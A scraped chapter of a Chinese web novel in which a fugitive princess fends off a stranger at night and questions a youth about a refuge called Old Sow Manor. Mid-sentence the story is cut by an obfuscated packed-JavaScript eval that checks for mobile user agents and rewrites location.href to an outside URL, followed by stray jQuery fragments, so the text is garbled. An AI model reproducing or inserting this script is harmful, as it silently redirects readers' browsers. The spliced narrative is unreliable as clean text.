10. 老母猪庄

作品:《鲲之大,公主衣袖装不下

    宋文楚捧着宋展翅一路往前走。


    街上的人越来越少,店铺的灯一盏一盏灭了。街角的灯笼在风里晃荡,将她影子拉得忽长忽短,犹如一条丧家犬。


    脑子里乌七八糟的念头全堆在了一处,堆成了满腔的——


    恨。


    她恨。


    恨宋明臣。恨他窃了她家江山,坐了她家垂拱殿,恨他给她条生路也要给得折辱,迫使她由一条必死之路走向另一条将死之路。


    恨宋清让。恨他权衡利弊,明哲保身,明明来得及却偏要等到最后一刻,恨他那张温温吞吞的脸,恨他那双视而不见的眼,那张缄默无言的嘴。


    恨父皇。恨他缠绵病榻清不了贼臣,恨他护不住亲身骨肉,恨他留她一人在这漆黑森冷的夜里无所依倚,不知归路。


    恨太傅。恨他教的那一堆无用之物,满口仁义礼智信,将她教成了宫墙内天真烂漫的附庸风雅之徒,却不教她离了公主身份庇护又该如何立身处世。


    恨皇宫。恨那高高的墙,深深的院,恨那些笑里藏刀的嘴脸。她在里面活了十二年,如今才知道,她觉得最无自由最深沉最凶险的地方,竟是她唯一的容身之处。


    恨这世间。恨那些伸来的手,不怀好意的笑,恨那些“你谁啊”的眼神,“你没名头”“你没保人”“你才多大”的话。她恨这世道将人分成三六九等,恨她以为最自由的宫外将她拒之门外。


    恨到极处,血管里的液体全在沸腾,想要逆着经脉冲破喉咙,通过她的口将恨喧嚣泄露。


    这时,两声啾啾的禽鸣拽住了她理智。


    宋文楚低头看了眼自己的手。


    干净漂亮的手,跟别的跑堂不一样的手。这只手抡过托盘,抽过猪脸。这只手,正捧着一团灰扑扑的鲲鹏毛球。


    原来她恨来恨去。


    最恨的是她自己呀。


    恨自己不够强。


    若是她够强,自用不着仰仗谁的脸色。若是她够强,便用不着适应这狗屁的世道。若是她够强,就能让这世道适应她。若是她够强,就能改了这世道,让那些跟她一样没路引,没保人,没名头,没门路,任人欺负也不敢吭声的人不必惊慌失措不必躲。要是她够强——


    就能把她珍爱的一切都庇护在手里。


    宋展翅鸣叫一声比一声嘹亮,穿透悄寂寒夜,将宋文楚因恨意带来的失状如潮驱散。


    她低头看它,笑了一下。


    “往后我护着你。再不用你替我飞,再不用你替我挡巴掌,再不用你饿着肚子陪我睡那冷冰冰的房。就让你好生待着。想飞就飞,想吃就吃,想睡就睡,看谁敢来欺你。”


    宋展翅金色的眼珠子滴溜溜转动望着她,轻轻啾了一声,许是应了。


    宋文楚将它塞进怀里,继续漫无目的向前进,宋展翅却不乐意了,刚埋进去的头往外钻。


    翅膀又扑棱上了,颤动得十分厉害毛也炸炸的。宋文楚立刻明白过来,周围不对劲。


    “怎么了?”


    它的翅膀尖往她身后指。


    风声。远处更夫的梆子声。


    脚步声。


    不轻不重不远不近,随着她走而走随她停而停。


    宋文楚心跳声咚咚咚的,她立即想起方才那小胡子撂下的狠话。


    难不成是他?


    如果是他——


    宋文楚不敢再想,再次加快了脚步。那脚步声也跟着加快。她更快了,那脚步声又跟上了。


    她拐进一条巷子,那脚步也拐进来。


    宋展翅还在抖,拿翅膀推她催她跑再快点。


    宋文楚只想叫它别催了,没看见她脚底下都跑冒火星子了吗,可她就是甩不开后面的人,跟个鬼一样缠着她。


    跑出巷口后是一条街,分出几条岔口。


    真是绝处逢生!


    她精神一振,这是甩掉背后尾巴的最佳时机。宋文楚左右一看,选了一条巷子钻进去埋头猛冲七拐八绕,绕到也不知道往哪儿去,她根本不管跑就是了。


    她觉得差不多了,停下去倾听。天不遂人愿,那脚步声还在跟着。


    可她真跑不动了,跑出了一身湿汗闷在衣裳里黏答答的。


    宋文楚背抵着墙大口喘气,从地上捡的一块稍稍尖利的石头捏在手里。


    随着那人走近,她的脑海里演练过三四遍敲击的画面。


    那脚步声终于停了。一个人站到巷口,只若再朝前一步往左边瞧眼就能和宋文楚打个照面。


    月光从他身后照进来,照出道瘦长的影子。然后影子往前走了两步,走进了月光里。


    宋文楚将敲击的举动收了回来却也没松石头。


    不是那小胡子。


    是个少年,十七八岁模样,一身陈年老旧的青布。眼睛像只老虎一样有神,看到她露出个和善的笑。


    “姑娘别怕,我不是坏人。”他举高两只手掌心朝她,表示自己并没有恶意。


    宋文楚听到这话未免觉得好笑,哪个坏人会大个嗓门嚷嚷着自己是坏人?


    宋展翅又开始炸毛了,朝这少年张牙舞爪地拍翅膀。


    少年瞧见宋展翅目露稀奇:“好精神的雀鸟!不过这相貌倒是没见过,姑娘养得可真好啊。”


    吹捧可没用,宋文楚仍警惕举着石头。


    少年看出宋文楚防心重,只得往后连退了数步,拉开一段距离后才将手放下。


    “姑娘可别误会,我真不是坏人啊。就是刚刚看到你一个人在这街上转了大半宿都没个去处,实在怪可怜的。”


    宋文楚心里冷笑。


    可怜。


    今个一天,她都听够了这俩字。


    “我看你从客栈出来,走了一路走两步瘸一步,也不知道往哪儿走。你年纪这样小独身出门在外,很容易叫人贩子给拐走的。”


    这少年莫不是在说自己?一直尾随自己至此,还说着假惺惺的话。此人行径委实可疑,宋文楚更忧惧了。


    她问:“你究竟想干什么?”


    少年道:“姑娘,我这儿倒是有个去处。管吃管住,活儿也不重。姑娘要是没地方去,可以跟我去看看。”


    若换作初出宫时的宋文楚撞上这等好事,怕真要当是天地垂怜她金鳞搁浅谭,冥冥中有天意引路,为她寻来一处庇护所安身立命来的。


    而今时不同往日,她如今是有眼见的人了,将人情冷暖世道艰险尝了个遍。深宫里读了十几年的书没教会她,这几日的风霜亲历一教便会。


    她可再不是那时候懵懂天真,逢人便信的公主殿下了。


    现在的宋文楚自诩历尽坎壈,心中成长程度已经和大人没几分差的世道人了。


    宋文楚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296260|198335||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    托着那块石头掂了一下想撑点气势,落下来砸进手里那一瞬差点没把持住痛呼出声,嘶好疼!终于老实不耍酷了。


    她下巴一昂,倒豆子似的把一肚子的话全倒出来:“你那地方是做什么的?可有什么来路?可有官府文牒?可有保人?做的什么营生?签的什么契约?有什么规矩?你在庄里是什么职位,可做得了主?庄主是什么人?庄上的人都什么来路?我去了做什么活儿?干不好扣不扣钱?干得好涨不涨工钱?可有人欺负新人?可有人动手动脚?要是有人欺负我,你管不管?要是我想走,什么时候能走?走得时候给不给结账?你那庄子外头可有官道?夜里可有人巡更?冬天可有炭火?夏天可有凉茶?一天吃几顿饭?饭可管饱?住的是什么屋?几个人一间?我那鸟跟谁住?它要是病了,有人给它瞧么?最后,你叫什么名字?你几岁?”


    这些都是她挨过的钉子,现在可以用来扎别人了,好不痛快!


    少年虎目圆睁,仿佛被人当头泼了盆凉水,又惊又乐:


    “你这一口气问了我……我数数,哎劳烦姑娘你再问一遍……”


    宋文楚又说了一遍,说一句这少年掰根指头,最后宋文楚话音落下他也数完抬头:“三十!姑娘,你一口气问了我三十句话!”


    宋文楚挺了挺胸膛面上洋洋自得,那可不。


    她记性好着呢,那些人说她的什么话全悄悄记下了,她早憋着了,从初出宫门憋到现在。


    “怎么,你不乐意回答麽?”


    “成!我答。”


    “名头叫老母猪庄——”少年说完这句后自觉止住话,去瞧宋文楚表情,一脸“我就知道你不信”。


    “姑娘想笑就笑,没事。我刚来的时候也笑,笑了三天呢,我们这庄子名还是有来历的。早年这周围也没几个人地都是荒着的,后来庄主路过,看见一头老母猪领着一窝小猪崽在山沟里刨食,刨得可欢实喽。庄主就想呀,这地方连猪都能养活,还能养不活人了?就把庄子安这儿了。名字也懒得想,就叫老母猪庄。一开始是别扭,叫着叫着也便顺口了。外头人一听都笑得要死,他笑归他笑,只有庄里的人知道这就是我们的家。”


    “你们这庄名挺有意思的。”宋文楚笑够了,又换回严肃脸示意他继续答。


    “当然是正经来路。”


    “有的姑娘官府文牒有的,年年都纳粮呢。”


    “庄上几十口人,个个都是保人。平常是做种地、采药、收山货的营生,跟官府租的山再自己开荒,采了药后卖给城里的药铺换银钱。”


    “跟城里几家药铺签的长契都锁在庄主屋里,你要想看去了我们庄就能看到了。”


    “在我们庄上就一条规矩:不许偷窃。旁的都好说,对了还有一条——不许笑话庄子的名字,不过这条不太管得住。”


    说到这里,少年也哈哈笑了两声。


    “我是管事的,庄主不在的时候就我说了算。不过小事我做得,大事还得禀庄主。”


    “庄主是位周姓女子,人挺厚道也不爱管事,你见了就知道了。”


    “庄里人都是些逃荒的或家里遭了灾没处去的人,跟姑娘差不多。”


    “等等。”宋文楚突然打断他。


    “你既说这些人无路可去,但他们自己都没有名头又如何能保呢?这样的保人作保可有信度?”